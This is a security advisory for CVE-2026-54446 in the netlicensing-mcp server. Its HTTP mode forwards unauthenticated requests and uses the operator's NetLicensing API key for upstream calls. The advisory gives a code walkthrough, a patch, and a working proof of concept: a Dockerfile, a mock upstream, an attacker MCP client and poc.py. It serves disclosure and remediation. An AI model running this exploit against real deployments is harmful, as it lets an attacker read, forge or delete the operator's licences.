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CVE-2026-54446HIGH· 8.1GHSA대응게시일: 2026. 07. 14.수정일: 2026. 07. 14.

NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

위협 신호 · CVSS · EPSS · KEV

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CVSS
8.1high

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미등재

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권장 대응 기한14일 이내CISA SSVC 기준

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완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

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CVSS 3.18.1HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

상세 설명

Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

Summary

When netlicensing-mcp is run in HTTP transport mode, the ApiKeyMiddleware fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (server.py:1427). The downstream HTTP client then falls back to the server operator's NETLICENSING_API_KEY environment variable (client.py:30) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: 8.1 (High).

Details

The HTTP transport is started in src/netlicensing_mcp/server.py around line 1430 via mcp.streamable_http_app(), and ApiKeyMiddleware is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the x-netlicensing-api-key header or the ?apikey= query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls return await call_next(request) (line 1427), passing the unauthenticated request downstream.

The downstream client module (src/netlicensing_mcp/client.py) uses a Python ContextVar named api_key_ctx with a default of os.getenv("NETLICENSING_API_KEY", "") (line 30). Because the middleware never sets this context variable for unauthenticated requests, api_key_ctx.get() returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (lines 62–70) and transmits it to the upstream NetLicensing REST API on every request (lines 105, 109).

The complete exploitable data flow is:

StepLocationDescription
1server.py:1430HTTP app created with mcp.streamable_http_app()
2server.py:1431ApiKeyMiddleware registered
3server.py:1412–1419Middleware attempts (optional) key extraction from headers/query
4server.py:1427Auth bypass sink: missing key → return await call_next(request)
5server.py:155–163Unauthenticated caller invokes netlicensing_list_products (or any tool)
6tools/products.py:9,17Tool delegates to nl_get("/product", ...)
7client.py:30Source: api_key_ctx defaults to NETLICENSING_API_KEY env var
8client.py:62–70Authorization: Basic base64("apiKey:<key>") constructed
9client.py:105,109Upstream sink: client.get(url, headers=_headers(), ...) executed

Critical code excerpts:

bash
1# src/netlicensing_mcp/server.py
21418: if not key:
31419: key = request.query_params.get("apikey")
41421: if key:
51422: token = api_key_ctx.set(key)
6 ...
71427: return await call_next(request) # <-- no rejection when key is absent
bash
1# src/netlicensing_mcp/client.py
230: "api_key", default=os.getenv("NETLICENSING_API_KEY", "") # server-side fallback
3...
464: auth_str = f"apiKey:{api_key}"
570: "Authorization": f"Basic {token}",
6...
7109: r = await client.get(url, headers=_headers(), params=params or {})

The README (README.md:90–94) documents the HTTP mode deployment pattern with -e NETLICENSING_API_KEY=your_key as a first-class production deployment option, including AWS App Runner / ELB examples (README.md:310–318). The per-client key recommendation (README.md:318) is advisory only and is not technically enforced.

A suggested patch replaces the unconditional pass-through with a 401 rejection:

text
1--- a/src/netlicensing_mcp/server.py
2+++ b/src/netlicensing_mcp/server.py
3@@
4 class ApiKeyMiddleware(BaseHTTPMiddleware):
5 async def dispatch(self, request: Request, call_next):
6+ if request.url.path == "/health":
7+ return await call_next(request)
8+
9 key = request.headers.get("x-netlicensing-api-key")
10 if not key:
11 auth = request.headers.get("authorization")
12 if auth and auth.lower().startswith("bearer "):
13 key = auth[7:]
14@@
15 return await call_next(request)
16 finally:
17 api_key_ctx.reset(token)
18- return await call_next(request)
19+ return JSONResponse(
20+ {"error": "NetLicensing API key is required for HTTP transport"},
21+ status_code=401,
22+ )

PoC

Environment requirements:

  • Docker (or Python 3.12 with netlicensing-mcp==0.1.5 and mcp client installed)
  • Target commit: ef0080c2aebbf4dfbce93a959dd7c1471103c05a

Self-contained Docker reproduction (all-in-one):

bash
1# Build the image from the repository root
2docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .
3
4# Run the PoC — exits 0 on confirmed exploit
5docker run --rm --network=host vuln-001-netlicensing

Manual step-by-step reproduction:

python
1# Terminal 1 — mock upstream NetLicensing REST API
2python3 - <<'PY'
3from http.server import BaseHTTPRequestHandler, HTTPServer
4import json
5class H(BaseHTTPRequestHandler):
6 def do_GET(self):
7 print("MOCK_REQUEST", self.command, self.path,
8 self.headers.get("Authorization"), flush=True)
9 self.send_response(200)
10 self.send_header("Content-Type", "application/json")
11 self.end_headers()
12 self.wfile.write(json.dumps({"items": {"item": []}}).encode())
13 def log_message(self, *args): pass
14HTTPServer(("127.0.0.1", 19090), H).serve_forever()
15PY
16
17# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key
18NETLICENSING_API_KEY=SERVERSECRET \
19NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
20MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
21python3 -m netlicensing_mcp.server http
22
23# Terminal 3 — attacker: connect with NO API key and invoke a tool
24python3 - <<'PY'
25import asyncio
26from mcp import ClientSession
27from mcp.client.streamable_http import streamablehttp_client
28
29async def main():
30 async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
31 async with ClientSession(read, write) as session:
32 await session.initialize()
33 print(await session.call_tool("netlicensing_list_products", {"filter": ""}))
34
35asyncio.run(main())
36PY

Expected output in Terminal 1:

text
1MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==

Decoding the Base64 credential confirms the operator's secret was used:

bash
1$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
2apiKey:SERVERSECRET

Observed evidence from dynamic reproduction (Phase 2):

text
1[MOCK_UPSTREAM] GET /core/v2/rest/product Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
2Decoded: apiKey:SERVERSECRET
3[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
4NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
5CWE-306 / VULN-001 reproduced.

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any network-reachable attacker who can send HTTP requests to the /mcp endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.

Concrete consequences include:

  • Confidentiality: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.
  • Integrity: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.
  • Availability: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.

Who is impacted: Operators who deploy netlicensing-mcp in HTTP transport mode (python3 -m netlicensing_mcp.server http) with NETLICENSING_API_KEY set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.

Reproduction artifacts

Dockerfile
sql
1FROM python:3.12-slim
2
3RUN apt-get update && apt-get install -y --no-install-recommends git \
4 && rm -rf /var/lib/apt/lists/*
5
6WORKDIR /app
7
8# Copy repo (with .git for hatch-vcs versioning) and PoC script
9COPY repo/ /app/repo/
10COPY vuln-001/poc.py /app/poc.py
11
12# Install the vulnerable MCP server package and its dependencies
13RUN cd /app/repo && pip install --no-cache-dir .
14
15CMD ["python3", "/app/poc.py"]
poc.py
sql
1#!/usr/bin/env python3
2"""
3PoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
4CWE-306 — Missing Authentication for Critical Function
5
6Attack scenario:
7 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.
8 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.
9 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.
10 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.
11 5. The upstream NetLicensing REST API receives the operator's credential — attacker
12 effectively uses the operator's account for all MCP tool invocations.
13
14Expected evidence: mock upstream prints
15 Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
16 Decoded: apiKey:SERVERSECRET
17even though the MCP client sent no credentials.
18"""
19
20import asyncio
21import base64
22import json
23import os
24import subprocess
25import sys
26import threading
27import time
28from http.server import BaseHTTPRequestHandler, HTTPServer
29
30# ─── Configuration ────────────────────────────────────────────────────────────
31
32MOCK_PORT = 19090
33MCP_PORT = 18181
34SERVER_API_KEY = "SERVERSECRET" # simulated operator secret injected via env var
35
36# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────
37
38captured_requests: list[dict] = []
39mock_ready = threading.Event()
40
41
42class MockUpstreamHandler(BaseHTTPRequestHandler):
43 def _handle(self):
44 auth = self.headers.get("Authorization", "<none>")
45 entry = {
46 "method": self.command,
47 "path": self.path,
48 "authorization": auth,
49 }
50 captured_requests.append(entry)
51 print(
52 f"[MOCK_UPSTREAM] {self.command} {self.path} "
53 f"Authorization={auth}",
54 flush=True,
55 )
56 self.send_response(200)
57 self.send_header("Content-Type", "application/json")
58 self.end_headers()
59 self.wfile.write(json.dumps({"items": {"item": []}}).encode())
60
61 do_GET = _handle
62 do_POST = _handle
63 do_PUT = _handle
64
65 def log_message(self, *args):
66 pass
67
68
69def _run_mock(port: int) -> None:
70 srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
71 mock_ready.set()
72 srv.serve_forever()
73
74
75# ─── Helpers ─────────────────────────────────────────────────────────────────
76
77def _decode_basic(header: str) -> str | None:
78 if not header.startswith("Basic "):
79 return None
80 try:
81 return base64.b64decode(header[6:]).decode()
82 except Exception:
83 return None
84
85
86async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
87 """Poll until the MCP /health endpoint responds or timeout."""
88 import httpx
89 deadline = time.monotonic() + timeout
90 while time.monotonic() < deadline:
91 try:
92 async with httpx.AsyncClient() as c:
93 r = await c.get(f"http://{host}:{port}/health", timeout=1)
94 if r.status_code < 500:
95 return True
96 except Exception:
97 pass
98 await asyncio.sleep(0.4)
99 return False
100
101
102# ─── PoC ──────────────────────────────────────────────────────────────────────
103
104async def main() -> None:
105 # 1. Start mock upstream
106 t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
107 t.start()
108 mock_ready.wait(timeout=5)
109 print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)
110
111 # 2. Launch vulnerable MCP server in HTTP mode with server-side API key
112 env = os.environ.copy()
113 env.update({
114 "NETLICENSING_API_KEY": SERVER_API_KEY,
115 "NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
116 "MCP_HOST": "127.0.0.1",
117 "MCP_PORT": str(MCP_PORT),
118 })
119 proc = subprocess.Popen(
120 [sys.executable, "-m", "netlicensing_mcp.server", "http"],
121 env=env,
122 cwd="/app/repo",
123 stdout=subprocess.PIPE,
124 stderr=subprocess.PIPE,
125 )
126 print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)
127
128 ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
129 if not ready:
130 # /health may not exist; just wait a fixed time
131 print("[*] /health not responding — waiting 5 s anyway ...", flush=True)
132 await asyncio.sleep(5)
133
134 if proc.poll() is not None:
135 _, err = proc.communicate()
136 print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
137 sys.exit(1)
138
139 print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)
140
141 # 3. Attack: connect WITHOUT any API key and invoke a tool
142 print(
143 "\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
144 "with NO client API key ...",
145 flush=True,
146 )
147 try:
148 from mcp import ClientSession
149 from mcp.client.streamable_http import streamablehttp_client
150
151 async with streamablehttp_client(
152 f"http://127.0.0.1:{MCP_PORT}/mcp"
153 ) as (read, write, _):
154 async with ClientSession(read, write) as session:
155 await session.initialize()
156 result = await session.call_tool(
157 "netlicensing_list_products", {"filter": ""}
158 )
159 print(f"[*] Tool call succeeded: {result}", flush=True)
160 except Exception as exc:
161 print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
162 finally:
163 proc.terminate()
164 await asyncio.sleep(0.5)
165
166 # 4. Evaluate captured evidence
167 print("\n" + "=" * 70, flush=True)
168 print("CAPTURED UPSTREAM REQUESTS:", flush=True)
169 for req in captured_requests:
170 print(f" {req['method']} {req['path']}", flush=True)
171 print(f" Authorization: {req['authorization']}", flush=True)
172 decoded = _decode_basic(req["authorization"])
173 if decoded:
174 print(f" Decoded: {decoded}", flush=True)
175 print("=" * 70, flush=True)
176
177 # 5. Verdict
178 server_key_leaked = any(
179 SERVER_API_KEY in (_decode_basic(r["authorization"]) or "")
180 for r in captured_requests
181 )
182
183 if server_key_leaked:
184 print(
185 f"\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to "
186 f"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream "
187 f"NetLicensing API. CWE-306 / VULN-001 reproduced.",
188 flush=True,
189 )
190 sys.exit(0)
191 elif not captured_requests:
192 print(
193 "\n[FAIL] No upstream requests captured — the MCP tool call did not "
194 "reach the upstream API.",
195 flush=True,
196 )
197 sys.exit(2)
198 else:
199 print(
200 "\n[FAIL] Upstream requests captured but server API key not found in "
201 "Authorization headers.",
202 flush=True,
203 )
204 sys.exit(2)
205
206
207if __name__ == "__main__":
208 asyncio.run(main())

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